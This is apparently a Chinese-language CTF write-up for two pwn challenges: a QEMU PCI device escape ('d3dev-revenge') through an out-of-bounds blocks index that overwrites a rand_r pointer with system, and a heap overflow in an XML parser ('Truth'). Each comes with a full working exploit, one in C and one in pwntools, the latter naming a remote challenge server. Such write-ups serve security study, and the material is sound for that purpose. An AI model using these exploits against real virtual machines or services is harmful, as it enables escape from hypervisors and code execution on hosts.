d3dev-revenge
分析
首先看一下启动脚本
#!/bin/sh
./qemu-system-x86_64 \
-L pc-bios/ \
-m 128M \
-kernel vmlinuz \
-initrd rootfs.img \
-smp 1 \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \
-device d3dev \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-monitor /dev/null
我们看到这里的device
的名称是d3dev
,ida
看一下相关的函数,发现存在mmio/pmio
两种方式,分别分析一下,首先看一下pmio_read
uint64_t __fastcall d3dev_pmio_read(void *opaque, hwaddr addr, unsigned int size)
{
uint64_t result; // rax
if ( addr > 0x18 )
result = -1LL;
else
result = ((__int64 (__fastcall *)(void *))((char *)dword_7ADF30 + dword_7ADF30[addr]))(opaque);
return result;
}
这里看发生了一个未知的调用,采用的应该是函数表的形式,不过这里不重要,接下来看一下pmio_write
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr cmd, uint64_t val, unsigned int size)
{
uint32_t *v4; // rbp
if ( cmd == 8 )
{
if ( val <= 0x100 )
opaque->seek = val; // 设定seek
}
else if ( cmd > 8 )
{
if ( cmd == 0x1C ) // 随机生成key
{
opaque->r_seed = val;
v4 = opaque->key;
do
*v4++ = ((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)(
&opaque->r_seed,
0x1CLL,
val,
*(_QWORD *)&size);
while ( v4 != (uint32_t *)&opaque->rand_r );
}
}
else if ( cmd )
{
if ( cmd == 4 ) // 清空两个key
{
*(_QWORD *)opaque->key = 0LL;
*(_QWORD *)&opaque->key[2] = 0LL;
}
}
else
{
opaque->memory_mode = val;
}
}
这里涉及到了d3devState
数据结构,看一下
00000000 d3devState struc ; (sizeof=0x1300, align=0x10, copyof_4545)
00000000 pdev PCIDevice_0 ?
000008E0 mmio MemoryRegion_0 ?
000009D0 pmio MemoryRegion_0 ?
00000AC0 memory_mode dd ?
00000AC4 seek dd ?
00000AC8 init_flag dd ?
00000ACC mmio_read_part dd ?
00000AD0 mmio_write_part dd ?
00000AD4 r_seed dd ?
00000AD8 blocks dq 257 dup(?)
000012E0 key dd 4 dup(?)
000012F0 rand_r dq ? ; offset
000012F8 db ? ; undefined
000012F9 db ? ; undefined
000012FA db ? ; undefined
000012FB db ? ; undefined
000012FC db ? ; undefined
000012FD db ? ; undefined
000012FE db ? ; undefined
000012FF db ? ; undefined
00001300 d3devState ends
这里是根据cmd
的值来达到不同的功能
-
cmd=8
,设定seek
的值,这里的seek<0x100
-
cmd=0x1c
,更新加解密所需要的key
,这里是直接调用的数据结构中的rand_r
函数指针来完成的 -
cmd=4
,这里清空了key
,所有的key
均为0
,注意到这里其实我们就可以实现加解密了,因为所有的key
都是0
接下来看一下mmio_read
uint64_t __fastcall d3dev_mmio_read(d3devState *opaque, hwaddr addr, unsigned int size)
{
uint64_t v; // rax
int sum; // esi
unsigned int v1; // ecx
uint64_t v0; // rax
v = opaque->blocks[opaque->seek + (unsigned int)(addr >> 3)];
sum = 0xC6EF3720;
v1 = v;
v0 = HIDWORD(v);
do
{
LODWORD(v0) = v0 - ((v1 + sum) ^ (opaque->key[3] + (v1 >> 5)) ^ (opaque->key[2] + 16 * v1));
v1 -= (v0 + sum) ^ (opaque->key[1] + ((unsigned int)v0 >> 5)) ^ (opaque->key[0] + 16 * v0);
sum += 0x61C88647;
}
while ( sum );
if ( opaque->mmio_read_part )
{
opaque->mmio_read_part = 0;
v0 = (unsigned int)v0;
}
else
{
opaque->mmio_read_part = 1;
v0 = v1;
}
return v0;
}
这里是根据输入的addr>>3
作为offset
读取blocks
中的相关内容,读取的内容进行了加密处理,很容易可以看出来这里的加密算法是tea
的解密算法。tea
的加解密算法可以参考这里
需要注意的这里需要读取两次才能够获得完整的加密8
字节数据。接下来看一下mmio_write
void __fastcall d3dev_mmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
__int64 offset; // rsi
ObjectClass_0 **opaque_address; // r11
uint64_t v6; // rdx
int v7; // esi
uint32_t key0; // er10
uint32_t key1; // er9
uint32_t key2; // er8
uint32_t key3; // edi
unsigned int v12; // ecx
uint64_t result; // rax
if ( size == 4 )
{
offset = opaque->seek + (unsigned int)(addr >> 3);
if ( opaque->mmio_write_part )
{
opaque_address = &opaque->pdev.qdev.parent_obj.class + offset;
v6 = val << 32;
v7 = 0;
opaque->mmio_write_part = 0;
key0 = opaque->key[0];
key1 = opaque->key[1];
key2 = opaque->key[2];
key3 = opaque->key[3];
v12 = v6 + *((_DWORD *)opaque_address + 0x2B6);
result = ((unsigned __int64)opaque_address[0x15B] + v6) >> 32;
do
{
v7 -= 0x61C88647;
v12 += (v7 + result) ^ (key1 + ((unsigned int)result >> 5)) ^ (key0 + 16 * result);
LODWORD(result) = ((v7 + v12) ^ (key3 + (v12 >> 5)) ^ (key2 + 16 * v12)) + result;
}
while ( v7 != 0xC6EF3720 );
opaque_address[0x15B] = (ObjectClass_0 *)__PAIR64__(result, v12);
}
else
{
opaque->mmio_write_part = 1;
opaque->blocks[offset] = (unsigned int)val;
}
}
}
这里与mmio_read
类似,虽然这里的ida
反汇编显示有点问题,但是根据调试可以知道这里的功能就是将用户输入的数据进行解密。解密算法就是tea
的加密算法(反向理解也可以,写入加密,读取解密)将解密后的数据写入到blocks[seek+offset]
中。这里也提供了直接写入的 分支,不过只能写入四子节。
利用
这里可以很明显的发现一个索引越界漏洞,即seek
最大为0x100
,但是对用户输入的offset
没有进行限制,而blocks
的大小为0x101
,也就是这里可以直接越界对d3devState
结构体进行读写。
很容易的我们发现可以读取器中的rand_r
函数指针泄漏出libc
的基址,进而得到system
的地址,然后可以将rand_r
函数指针覆写为system
,之后在进行pmio_write
中调用rand_r
函数指针即可执行命令。
EXP
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
unsigned char* mmio_mem;
uint32_t mmio_addr = 0xfebf1000;
uint32_t mmio_size = 0x800;
int32_t pmio_base = 0xc040;
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void* mem_map( const char* dev, size_t offset, size_t size )
{
int fd = open( dev, O_RDWR | O_SYNC );
if ( fd == -1 ) {
return 0;
}
void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );
if ( !result ) {
return 0;
}
close( fd );
return result;
}
void mmio_write(uint64_t addr, uint64_t value, int choice)
{
if (choice == 0){
*((uint8_t*)(mmio_mem + addr)) = value;
}
else if (choice == 1){
*((uint16_t*)(mmio_mem + addr)) = value;
}
else if (choice == 2){
*((uint32_t*)(mmio_mem + addr)) = value;
}
else if (choice == 3){
*((uint64_t*)(mmio_mem + addr)) = value;
}
}
uint64_t mmio_read(uint32_t addr, int choice)
{
if(choice == 0){
return *((uint8_t*)(mmio_mem + addr));
}
else if(choice == 1){
return *((uint16_t*)(mmio_mem + addr));
}
else if(choice == 2){
return *((uint32_t*)(mmio_mem + addr));
}
else if(choice == 3){
return *((uint64_t*)(mmio_mem + addr));
}
}
void pmio_write(uint32_t addr, uint32_t value)
{
outl(value,pmio_base + addr);
}
uint8_t pmio_read(uint32_t addr)
{
return (uint32_t)inl(pmio_base + addr);
}
//加密函数
void my_tea_encrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1];
int sum=0xC6EF3720, i; /* set up */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
do{
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum += 0x61C88647;
}while(sum); /* end cycle */
v[0]=v0; v[1]=v1;
}
//解密函数
void my_tea_decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1];
int sum=0, i; /* set up */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
do{
sum -= 0x61C88647;
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
}while(sum != 0xC6EF3720); /* end cycle */
v[0]=v0; v[1]=v1;
}
int main(){
system( "mknod -m 660 /dev/mem c 1 1" );
mmio_mem = mem_map("/dev/mem", mmio_addr, mmio_size);
if (!mmio_mem){
die("mmio or vga mmap failed");
}
printf("get process address\n");
if(iopl(3)!=0){
printf("iopl 3 failed\n");
exit(0);
}
pmio_write(4, 0);
pmio_write(8, 0x100);
uint32_t res[2];
res[0] = mmio_read(3 << 3, 2);
res[1] = mmio_read(3 << 3, 2);
printf("%p %p\n", res[0], res[1]);
uint32_t key[4] = {0};
my_tea_decrypt(res, key);
printf("%p %p\n", res[0], res[1]);
uint64_t randr_address = ((uint64_t )res[1]) << 32;
randr_address += res[0];
printf("rand address is %p\n", randr_address);
uint64_t libc_address = randr_address - 0x4aeb0;
uint64_t system_address = libc_address + 0x55410;
printf("system address is %p\n", system_address);
res[0] = system_address & 0xffffffff;
res[1] = system_address >> 32;
my_tea_encrypt(res, key);
uint64_t en_system_address = ((uint64_t )res[1]) << 32;
en_system_address += res[0];
printf("enc system address is %p\n", en_system_address);
getchar();
mmio_write(3 << 3, en_system_address, 3);
res[1] = 0x67616c66;
res[0] = 0x20746163;
my_tea_encrypt(res, key);
uint64_t enc_sh = ((uint64_t )res[1]) << 32;
enc_sh += res[0];
pmio_write(8, 0);
mmio_write(0, enc_sh , 3);
pmio_write(0x1c, 0x2620736c);
}
Truth
分析
直接给出了源代码,程序提供了四种功能
while (1)
{
menu();
cin >> choice;
switch (choice)
{
case 1:
char temp;
cout << "Please input file's content" << endl;
while (read(STDIN_FILENO, &temp, 1) && temp != '\xff')
{
xmlContent.push_back(temp);
}
xmlfile.parseXml(xmlContent);
break;
case 2:
cout << "Please input the node name which you want to edit" << endl;
cin >> nodeName >> content;
xmlfile.editXML(nodeName, content);
break;
case 3:
pnode(*xmlfile.node->begin(), "");
break;
case 4:
cout << "MEME" << endl;
cin >> nodeName;
if (auto temp = pnode(*xmlfile.node->begin(), "", nodeName))
temp->meme(temp->backup);
break;
default:
break;
}
这里大致说一下,首先是parseXML
函数,函数会根据xml
的格式依次递归解析,每个标签都是一个node
,用结构体XML_NODE
来进行表示。在parse
过程中最值得注意的就是XML_NODE::parseNodeContents
中的处理逻辑
while (*current)
{
switch (*current)
{
/*
case CHARACTACTERS::LT:
case CHARACTACTERS::NEWLINE:
case CHARACTACTERS::BLANK:
*/
default:
{
auto lt = iterFind(current, CHARACTACTERS::LT);
data = std::make_shared <std::string>(current, lt);
backup = (char*)malloc(0x50);
current = lt;
break;
}
}
}
该函数在处理完标签的左半部分的时候发生调用如果没有遇到上述的三种情况也就是<
,\n
,空格三种字符的情况下就会进行堆块的分配,这里共分配了两个堆块,第一个我称之为content
堆块,该堆块的大小由当前字符到最近的一个<
之间的距离决定,第二个是固定的堆块为backup
。
接下来看一下edit
函数,首先根据用户输入的名称找到对应的Node
结构体,接着检查了node->data
中的字符的长度
char* XML_NODE::isInsertable(int x)
{
if (x > 0x50 || x < 0)
{
return nullptr;
}
return backup;
}
即需要小于0x50
,接着就会将data
中的数据拷贝到backup
中,并将data
更新为用户输入的content
。
for (int i = 0; i < a->data->length(); i++)
{
a->backup[i] = (*a->data)[i];
}
*(a->data) = content;
接着看一下第三个功能也就是show
函数,这里通过pnode
函数打印出了用户指定的Node
结构体的内容,包含xml
中的属性字段以及data
。
接着就是最后一个函数,类似于一个后门函数,调用了结构体中的一个函数指针,打印出了backup
的内容
利用
这里可能是优化导致的问题,edit
函数中的针对data
的长度检查失效了,导致用户针对backup
可以任意长度的堆溢出。而从调试中我们可以发现如果我们输入下面的XML
,backup
堆块相邻的位置存在一个node
结构体
<Lin 1="111">
data
<Lin2>
/bin/sh
</Lin2>
</Lin>
也就是backup
堆块与Lin2
结构体相邻。这里我们就可以直接覆写结构体了,一个Node
结构体的布局如下
pwndbg> x/30gx 0xab0c30-0x20
0xab0c10: 0x0000000000000000 0x00000000000000a1
0xab0c20: 0x00000000004054e0 0x0000000100000002
0xab0c30: 0x0000000000405340(meme函数指针存储地址) 0x0000000000ab0c48 堆地址
0xab0c40: 0x0000000000000003 0x00007fff006e694c
0xab0c50: 0x00007fffec193a00 0x0000000000000000
0xab0c60: 0x0000000000000000 0x0000000000ab11d0
0xab0c70: 0x0000000000ab11d0 0x0000000000ab11d0
0xab0c80: 0x0000000000000001 0x0000000000ab0e40
0xab0c90: 0x0000000000ab0e30 0x0000000000ab1390
0xab0ca0: 0x0000000000ab1380 0x0000000000ab0f00(backup)
根据结构体中的指针泄漏得到heap address
,接着覆写结构体中的函数指针,利用第四个函数getshell
。
这里还差一个libc
基地址的泄露。这里也可以根据backup
得到,在data = std::make_shared <std::string>(current, lt);
语句执行完毕之后会产生一个和data
大小相同的堆块,如果此堆块为unsorted bin
,那么我们可以直接通过打印backup
来泄漏得到libc
基地址。
EXP
# encoding=utf-8
from pwn import *
file_path = "./Truth"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
gdb.attach(p)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]
else:
p = remote('106.14.216.214', 45116)
libc = ELF('./libc-2.23.so')
one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def parse(file_content):
p.sendlineafter("Choice: ", "1")
p.sendafter("file's content\n", file_content)
p.sendline("\xff")
def edit(name, content):
p.sendlineafter("Choice: ", "2")
p.sendlineafter("to edit\n", name)
p.sendline(content)
def show():
p.sendlineafter("Choice: ", "3")
def show_backup(name):
p.sendlineafter("Choice: ", "4")
p.sendlineafter("MEME", name)
file_content = '''
<?xml?>
<Lin 1="{}">
<Lin2>
/bin/sh
</Lin2>
<Lin3>
/bin/sh
</Lin3>
'''.format("a"*0x500)
file_content += "a" * 0x70 + "b"*0x7
file_content += '''
<Lin4>
/bin/sh
</Lin4>
</Lin>
'''
parse(file_content)
show_backup("Lin")
p.recvuntil("Useless")
libc.address = u64(p.recvline().strip().ljust(8, b"\x00")) - 88 - 0x10 - libc.sym['__malloc_hook']
log.success("libc address is {}".format(hex(libc.address)))
edit("Lin", "1212")
show_backup("Lin")
p.recvuntil("b" * 0x7)
p.recvline()
heap_address = u64(p.recvline().strip().ljust(8, b"\x00"))
log.success("heap address is {}".format(hex(heap_address)))
edit("Lin3", b"/bin/sh\x00" + p64(one_gadget[3] + libc.address))
edit("Lin3", b"/bin/sh\x00" + p64(one_gadget[3] + libc.address))
payload = b"a"*0x70 + p64(heap_address- 0x1e0)
edit("Lin", payload)
edit("Lin", payload)
show_backup("Lin4")
p.interactive()